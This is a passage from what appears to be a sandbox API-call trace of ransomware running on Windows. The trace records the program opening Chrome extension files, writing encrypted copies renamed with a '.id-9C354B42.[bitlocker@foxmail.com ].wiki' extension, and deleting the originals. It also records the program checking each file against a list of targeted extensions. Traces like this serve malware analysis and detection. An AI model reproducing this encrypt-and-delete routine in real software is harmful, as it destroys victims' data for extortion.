liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.021] SetEndOfFile (hFile=0x1a4) returned 1 [0179.178] CloseHandle (hObject=0x1a4) returned 1 [0179.582] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.583] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json")) returned 1 [0179.583] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json") returned 155 [0179.583] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json") returned 155 [0179.583] lstrlenW (lpString=".doc") returned 4 [0179.583] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.583] lstrlenW (lpString=".docx") returned 5 [0179.583] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.583] lstrlenW (lpString=".pdf") returned 4 [0179.583] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.583] lstrlenW (lpString=".xls") returned 4 [0179.583] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.583] lstrlenW (lpString=".xlsx") returned 5 [0179.583] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.583] lstrlenW (lpString=".ppt") returned 4 [0179.583] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.583] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json") returned 155 [0179.584] lstrlenW (lpString=".zip") returned 4 [0179.584] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.584] lstrlenW (lpString=".rar") returned 4 [0179.584] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.584] lstrlenW (lpString=".bz2") returned 4 [0179.584] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.584] lstrlenW (lpString=".7z") returned 3 [0179.584] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.584] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json") returned 155 [0179.584] lstrlenW (lpString=".dbf") returned 4 [0179.584] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.584] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json") returned 155 [0179.584] lstrlenW (lpString=".1cd") returned 4 [0179.584] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.584] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json") returned 155 [0179.584] lstrlenW (lpString=".jpg") returned 4 [0179.584] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.584] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json") returned 155 [0179.584] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json") returned 155 [0179.584] lstrlenW (lpString=".doc") returned 4 [0179.584] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.584] lstrlenW (lpString=".docx") returned 5 [0179.584] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.584] lstrlenW (lpString=".pdf") returned 4 [0179.584] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.584] lstrlenW (lpString=".xls") returned 4 [0179.585] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.585] lstrlenW (lpString=".xlsx") returned 5 [0179.585] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.585] lstrlenW (lpString=".ppt") returned 4 [0179.585] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.585] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json") returned 155 [0179.585] lstrlenW (lpString=".zip") returned 4 [0179.585] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.585] lstrlenW (lpString=".rar") returned 4 [0179.585] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.585] lstrlenW (lpString=".bz2") returned 4 [0179.585] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.585] lstrlenW (lpString=".7z") returned 3 [0179.585] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.585] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json") returned 155 [0179.585] lstrlenW (lpString=".dbf") returned 4 [0179.585] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.585] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json") returned 155 [0179.585] lstrlenW (lpString=".1cd") returned 4 [0179.585] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.585] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json") returned 155 [0179.585] lstrlenW (lpString=".jpg") returned 4 [0179.585] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.585] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0179.586] lstrlenW (lpString="manifest.json") returned 13 [0179.586] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0179.586] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=784) returned 1 [0179.586] CloseHandle (hObject=0x1ac) returned 1 [0179.586] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json")) returned 0x2020 [0179.586] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.586] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0179.586] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.586] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.587] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0179.587] GetLastError () returned 0x0 [0179.587] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x310, lpOverlapped=0x0) returned 1 [0179.629] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x320, lpOverlapped=0x0) returned 1 [0179.630] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0179.630] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0179.630] SetEndOfFile (hFile=0x1a0) returned 1 [0179.631] CloseHandle (hObject=0x1a0) returned 1 [0179.631] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.631] SetEndOfFile (hFile=0x1ac) returned 1 [0179.631] CloseHandle (hObject=0x1ac) returned 1 [0179.632] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.632] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json")) returned 1 [0179.632] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json") returned 139 [0179.632] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json") returned 139 [0179.632] lstrlenW (lpString=".doc") returned 4 [0179.632] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.632] lstrlenW (lpString=".docx") returned 5 [0179.632] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.632] lstrlenW (lpString=".pdf") returned 4 [0179.632] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.632] lstrlenW (lpString=".xls") returned 4 [0179.632] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.632] lstrlenW (lpString=".xlsx") returned 5 [0179.632] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.632] lstrlenW (lpString=".ppt") returned 4 [0179.632] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.632] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json") returned 139 [0179.632] lstrlenW (lpString=".zip") returned 4 [0179.632] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.632] lstrlenW (lpString=".rar") returned 4 [0179.633] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.633] lstrlenW (lpString=".bz2") returned 4 [0179.633] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.633] lstrlenW (lpString=".7z") returned 3 [0179.633] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.633] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json") returned 139 [0179.633] lstrlenW (lpString=".dbf") returned 4 [0179.633] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.633] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json") returned 139 [0179.633] lstrlenW (lpString=".1cd") returned 4 [0179.633] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.633] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json") returned 139 [0179.633] lstrlenW (lpString=".jpg") returned 4 [0179.633] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.633] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json") returned 139 [0179.633] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json") returned 139 [0179.633] lstrlenW (lpString=".doc") returned 4 [0179.633] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.633] lstrlenW (lpString=".docx") returned 5 [0179.633] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.633] lstrlenW (lpString=".pdf") returned 4 [0179.633] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.633] lstrlenW (lpString=".xls") returned 4 [0179.633] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.633] lstrlenW (lpString=".xlsx") returned 5 [0179.633] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.633] lstrlenW (lpString=".ppt") returned 4 [0179.633] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.633] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json") returned 139 [0179.633] lstrlenW (lpString=".zip") returned 4 [0179.633] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.633] lstrlenW (lpString=".rar") returned 4 [0179.634] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.634] lstrlenW (lpString=".bz2") returned 4 [0179.634] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.634] lstrlenW (lpString=".7z") returned 3 [0179.634] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.634] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json") returned 139 [0179.634] lstrlenW (lpString=".dbf") returned 4 [0179.634] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.634] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json") returned 139 [0179.634] lstrlenW (lpString=".1cd") returned 4 [0179.634] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.634] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json") returned 139 [0179.634] lstrlenW (lpString=".jpg") returned 4 [0179.634] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.634] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0179.634] lstrlenW (lpString="messages.json") returned 13 [0179.634] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0179.651] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=312) returned 1 [0179.651] CloseHandle (hObject=0x334) returned 1 [0179.651] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json")) returned 0x2020 [0179.651] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.651] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0179.651] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.651] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.651] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0179.652] GetLastError () returned 0x0 [0179.652] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x138, lpOverlapped=0x0) returned 1 [0179.653] WriteFile (in: hFile=0x160, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x140, lpOverlapped=0x0) returned 1 [0179.654] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0179.654] WriteFile (in: hFile=0x160, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0179.654] SetEndOfFile (hFile=0x160) returned 1 [0179.654] CloseHandle (hObject=0x160) returned 1 [0179.654] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.654] SetEndOfFile (hFile=0x334) returned 1 [0179.655] CloseHandle (hObject=0x334) returned 1 [0179.655] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.655] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json")) returned 1 [0179.655] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json") returned 151 [0179.655] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json") returned 151 [0179.655] lstrlenW (lpString=".doc") returned 4 [0179.655] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.655] lstrlenW (lpString=".docx") returned 5 [0179.655] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.655] lstrlenW (lpString=".pdf") returned 4 [0179.655] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.655] lstrlenW (lpString=".xls") returned 4 [0179.655] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.655] lstrlenW (lpString=".xlsx") returned 5 [0179.656] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.656] lstrlenW (lpString=".ppt") returned 4 [0179.656] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.656] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json") returned 151 [0179.656] lstrlenW (lpString=".zip") returned 4 [0179.656] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.656] lstrlenW (lpString=".rar") returned 4 [0179.656] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.656] lstrlenW (lpString=".bz2") returned 4 [0179.656] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.656] lstrlenW (lpString=".7z") returned 3 [0179.656] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.656] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json") returned 151 [0179.656] lstrlenW (lpString=".dbf") returned 4 [0179.656] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.656] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json") returned 151 [0179.656] lstrlenW (lpString=".1cd") returned 4 [0179.656] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.656] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json") returned 151 [0179.656] lstrlenW (lpString=".jpg") returned 4 [0179.656] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.656] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json") returned 151 [0179.656] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json") returned 151 [0179.656] 